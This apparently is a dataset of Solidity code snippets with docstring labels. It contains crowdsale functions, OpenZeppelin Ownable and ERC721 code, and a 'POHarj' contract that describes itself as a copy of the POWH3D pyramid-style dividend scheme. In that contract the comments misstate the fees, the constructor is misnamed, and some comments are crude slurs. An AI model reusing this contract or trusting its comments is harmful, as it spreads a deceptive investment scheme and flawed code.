require(_bountyFund != address(0));
require(_advisorsFund != address(0));
require(_ecosystemFund != address(0));
require(_teamFund != address(0));
emit Finalized();
// unsold tokens to ecosystem (perhaps further they will be burnt)
uint256 unsoldTokens = tokensForSale - token.totalSupply();
if (unsoldTokens > 0) {
tokensForEcosystem = tokensForEcosystem + unsoldTokens;
}
// distribute
token.mint(_bountyFund,tokensForBounty);
token.mint(_advisorsFund,tokensForAdvisors);
token.mint(_ecosystemFund,tokensForEcosystem);
token.mint(_teamFund,tokensForTeam);
// finish
token.finishMinting();
// freeze team tokens
token.setTeamAddress(_teamFund);
}
}
|
Set new wallet/
|
function changeWallet(address _newWallet) public onlyOwner {
require(_newWallet != address(0));
wallet = _newWallet;
}
| 15,873,707
|
pragma solidity ^0.4.20;
/*
* Welcome to harjcoin
* ==========================*
/$$ /$$ /$$$$$$ /$$
| $$ | $$ /$$__ $$ |__/
| $$ | $$ /$$$$$$ /$$$$$$ /$$ | $$ \__/ /$$$$$$ /$$ /$$$$$$$
| $$$$$$$$ |____ $$ /$$__ $$|__/ | $$ /$$__ $$| $$| $$__ $$
| $$__ $$ /$$$$$$$| $$ \__/ /$$ | $$ | $$ \ $$| $$| $$ \ $$
| $$ | $$ /$$__ $$| $$ | $$ | $$ $$| $$ | $$| $$| $$ | $$
| $$ | $$| $$$$$$$| $$ | $$ | $$$$$$/| $$$$$$/| $$| $$ | $$
|__/ |__/ \_______/|__/ | $$ \______/ \______/ |__/|__/ |__/
/$$ | $$
| $$$$$$/
\______/ \/
* ==========================*
* -> What?
* This source code is copy of Proof of Weak Legs (POWL) which is copy of POWH3D
* Only difference is that, you will receive 25% dividends.
*/
contract POHarj {
/*=================================
= MODIFIERS =
=================================*/
// only people with tokens
modifier onlyBagholders() {
require(myTokens() > 0);
_;
}
// only people with profits
modifier onlyStronghands() {
require(myDividends(true) > 0);
_;
}
// administrators can:
// -> change the name of the contract
// -> change the name of the token
// -> change the PoS difficulty (How many tokens it costs to hold a masternode, in case it gets crazy high later)
// they CANNOT:
// -> take funds
// -> disable withdrawals
// -> kill the contract
// -> change the price of tokens
modifier onlyAdministrator(){
address _customerAddress = msg.sender;
require(administrators[keccak256(_customerAddress)]);
_;
}
// ensures that the first tokens in the contract will be equally distributed
// meaning, no divine dump will be ever possible
// result: healthy longevity.
modifier antiEarlyWhale(uint256 _amountOfEthereum){
address _customerAddress = msg.sender;
// are we still in the vulnerable phase?
// if so, enact anti early whale protocol
if( onlyAmbassadors && ((totalEthereumBalance() - _amountOfEthereum) <= ambassadorQuota_ )){
require(
// is the customer in the ambassador list?
ambassadors_[_customerAddress] == true &&
// does the customer purchase exceed the max ambassador quota?
(ambassadorAccumulatedQuota_[_customerAddress] + _amountOfEthereum) <= ambassadorMaxPurchase_
);
// updated the accumulated quota
ambassadorAccumulatedQuota_[_customerAddress] = SafeMath.add(ambassadorAccumulatedQuota_[_customerAddress], _amountOfEthereum);
// execute
_;
} else {
// in case the ether count drops low, the ambassador phase won't reinitiate
onlyAmbassadors = false;
_;
}
}
/*==============================
= EVENTS =
==============================*/
event onTokenPurchase(
address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy
);
event onTokenSell(
address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned
);
event onReinvestment(
address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted
);
event onWithdraw(
address indexed customerAddress,
uint256 ethereumWithdrawn
);
// ERC20
event Transfer(
address indexed from,
address indexed to,
uint256 tokens
);
/*=====================================
= CONFIGURABLES =
=====================================*/
string public name = "HARJ";
string public symbol = "HARJ";
uint8 constant public decimals = 18;
uint8 constant internal dividendFee_ = 2;
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2**64;
// proof of stake (defaults at 100 tokens)
uint256 public stakingRequirement = 5e18;
// ambassador program
mapping(address => bool) internal ambassadors_;
uint256 constant internal ambassadorMaxPurchase_ = 10 ether;
uint256 constant internal ambassadorQuota_ = 10 ether;
/*================================
= DATASETS =
================================*/
// amount of shares for each address (scaled number)
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
mapping(address => uint256) internal ambassadorAccumulatedQuota_;
uint256 internal tokenSupply_ = 0;
uint256 internal profitPerShare_;
// administrator list (see above on what they can do)
mapping(bytes32 => bool) public administrators;
// when this is set to true, only ambassadors can purchase tokens (this prevents a whale premine, it ensures a fairly distributed upper pyramid)
bool public onlyAmbassadors = false;
/*=======================================
= PUBLIC FUNCTIONS =
=======================================*/
/*
* -- APPLICATION ENTRY POINTS --
*/
function Hourglass()
public
{
}
/**
* Converts all incoming ethereum to tokens for the caller, and passes down the referral addy (if any)
*/
function buy(address _referredBy)
public
payable
returns(uint256)
{
purchaseTokens(msg.value, _referredBy);
}
/**
* Fallback function to handle ethereum that was send straight to the contract
* Unfortunately we cannot use a referral address this way.
*/
function()
payable
public
{
purchaseTokens(msg.value, 0x0);
}
/**
* Converts all of caller's dividends to tokens.
*/
function reinvest()
onlyStronghands()
public
{
// fetch dividends
uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code
// pay out the dividends virtually
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// retrieve ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// dispatch a buy order with the virtualized "withdrawn dividends"
uint256 _tokens = purchaseTokens(_dividends, 0x0);
// fire event
onReinvestment(_customerAddress, _dividends, _tokens);
}
/**
* Alias of sell() and withdraw().
*/
function exit()
public
{
// get token count for caller & sell them all
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if(_tokens > 0) sell(_tokens);
// lambo delivery service
withdraw();
}
/**
* Withdraws all of the callers earnings.
*/
function withdraw()
onlyStronghands()
public
{
// setup data
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false); // get ref. bonus later in the code
// update dividend tracker
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// add ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// lambo delivery service
_customerAddress.transfer(_dividends);
// fire event
onWithdraw(_customerAddress, _dividends);
}
/**
* Liquifies tokens to ethereum.
*/
function sell(uint256 _amountOfTokens)
onlyBagholders()
public
{
// setup data
address _customerAddress = msg.sender;
// russian hackers BTFO
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
// burn the sold tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
// update dividends tracker
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
// dividing by zero is a bad idea
if (tokenSupply_ > 0) {
// update the amount of dividends per token
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
// fire event
onTokenSell(_customerAddress, _tokens, _taxedEthereum);
}
/**
* Transfer tokens from the caller to a new holder.
* Remember, there's a 10% fee here as well.
*/
function transfer(address _toAddress, uint256 _amountOfTokens)
onlyBagholders()
public
returns(bool)
{
// setup
address _customerAddress = msg.sender;
// make sure we have the requested tokens
// also disables transfers until ambassador phase is over
// ( we dont want whale premines )
require(!onlyAmbassadors && _amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
// withdraw all outstanding dividends first
if(myDividends(true) > 0) withdraw();
// liquify 10% of the tokens that are transfered
// these are dispersed to shareholders
uint256 _tokenFee = SafeMath.div(_amountOfTokens, dividendFee_);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
// burn the fee tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
// exchange tokens
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
// update dividend trackers
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
// disperse dividends among holders
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
// fire event
Transfer(_customerAddress, _toAddress, _taxedTokens);
// ERC20
return true;
}
/*---------- ADMINISTRATOR ONLY FUNCTIONS ----------*/
/**
* In case the amassador quota is not met, the administrator can manually disable the ambassador phase.
*/
function disableInitialStage()
onlyAdministrator()
public
{
onlyAmbassadors = false;
}
/**
* In case one of us dies, we need to replace ourselves.
*/
function setAdministrator(bytes32 _identifier, bool _status)
onlyAdministrator()
public
{
administrators[_identifier] = _status;
}
/**
* Precautionary measures in case we need to adjust the masternode rate.
*/
function setStakingRequirement(uint256 _amountOfTokens)
onlyAdministrator()
public
{
stakingRequirement = _amountOfTokens;
}
/**
* If we want to rebrand, we can.
*/
function setName(string _name)
onlyAdministrator()
public
{
name = _name;
}
/**
* If we want to rebrand, we can.
*/
function setSymbol(string _symbol)
onlyAdministrator()
public
{
symbol = _symbol;
}
/*---------- HELPERS AND CALCULATORS ----------*/
/**
* Method to view the current Ethereum stored in the contract
* Example: totalEthereumBalance()
*/
function totalEthereumBalance()
public
view
returns(uint)
{
return this.balance;
}
/**
* Retrieve the total token supply.
*/
function totalSupply()
public
view
returns(uint256)
{
return tokenSupply_;
}
/**
* Retrieve the tokens owned by the caller.
*/
function myTokens()
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
/**
* Retrieve the dividends owned by the caller.
* If `_includeReferralBonus` is to to 1/true, the referral bonus will be included in the calculations.
* The reason for this, is that in the frontend, we will want to get the total divs (global + ref)
* But in the internal calculations, we want them separate.
*/
function myDividends(bool _includeReferralBonus)
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
/**
* Retrieve the token balance of any single address.
*/
function balanceOf(address _customerAddress)
view
public
returns(uint256)
{
return tokenBalanceLedger_[_customerAddress];
}
/**
* Retrieve the dividend balance of any single address.
*/
function dividendsOf(address _customerAddress)
view
public
returns(uint256)
{
return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
/**
* Return the buy price of 1 individual token.
*/
function sellPrice()
public
view
returns(uint256)
{
// our calculation relies on the token supply, so we need supply. Doh.
if(tokenSupply_ == 0){
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_ );
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
/**
* Return the sell price of 1 individual token.
*/
function buyPrice()
public
view
returns(uint256)
{
// our calculation relies on the token supply, so we need supply. Doh.
if(tokenSupply_ == 0){
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_ );
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
/**
* Function for the frontend to dynamically retrieve the price scaling of buy orders.
*/
function calculateTokensReceived(uint256 _ethereumToSpend)
public
view
returns(uint256)
{
uint256 _dividends = SafeMath.div(_ethereumToSpend, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
/**
* Function for the frontend to dynamically retrieve the price scaling of sell orders.
*/
function calculateEthereumReceived(uint256 _tokensToSell)
public
view
returns(uint256)
{
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
/*==========================================
= INTERNAL FUNCTIONS =
==========================================*/
function purchaseTokens(uint256 _incomingEthereum, address _referredBy)
antiEarlyWhale(_incomingEthereum)
internal
returns(uint256)
{
// data setup
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(_incomingEthereum, dividendFee_);
uint256 _referralBonus = SafeMath.div(_undividedDividends, 3);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
// no point in continuing execution if OP is a poorfag russian hacker
// prevents overflow in the case that the pyramid somehow magically starts being used by everyone in the world
// (or hackers)
// and yes we know that the safemath function automatically rules out the "greater then" equasion.
require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_));
// is the user referred by a masternode?
if(
// is this a referred purchase?
_referredBy != 0x0000000000000000000000000000000000000000 &&
// no cheating!
_referredBy != _customerAddress &&
// does the referrer have at least X whole tokens?
// i.e is the referrer a godly chad masternode
tokenBalanceLedger_[_referredBy] >= stakingRequirement
){
// wealth redistribution
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
// no ref purchase
// add the referral bonus back to the global dividends cake
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
// we can't give people infinite ethereum
if(tokenSupply_ > 0){
// add tokens to the pool
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
// take the amount of dividends gained through this transaction, and allocates them evenly to each shareholder
profitPerShare_ += (_dividends * magnitude / (tokenSupply_));
// calculate the amount of tokens the customer receives over his purchase
_fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_))));
} else {
// add tokens to the pool
tokenSupply_ = _amountOfTokens;
}
// update circulating supply & the ledger address for the customer
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
// Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them;
//really i know you think you do but you don't
int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
// fire event
onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy);
return _amountOfTokens;
}
/**
* Calculate Token price based on an amount of incoming ethereum
* It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation;
* Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code.
*/
function ethereumToTokens_(uint256 _ethereum)
internal
view
returns(uint256)
{
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
(
(
// underflow attempts BTFO
SafeMath.sub(
(sqrt
(
(_tokenPriceInitial**2)
+
(2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18))
+
(((tokenPriceIncremental_)**2)*(tokenSupply_**2))
+
(2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_)
)
), _tokenPriceInitial
)
)/(tokenPriceIncremental_)
)-(tokenSupply_)
;
return _tokensReceived;
}
/**
* Calculate token sell value.
* It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation;
* Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code.
*/
function tokensToEthereum_(uint256 _tokens)
internal
view
returns(uint256)
{
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(
// underflow attempts BTFO
SafeMath.sub(
(
(
(
tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18))
)-tokenPriceIncremental_
)*(tokens_ - 1e18)
),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2
)
/1e18);
return _etherReceived;
}
//This is where all your gas goes, sorry
//Not sorry, you probably only paid 1 gwei
function sqrt(uint x) internal pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
|
-- APPLICATION ENTRY POINTS --/
|
function Hourglass()
public
{
}
| 1,625,729
|
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./extensions/IERC721Metadata.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/Strings.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
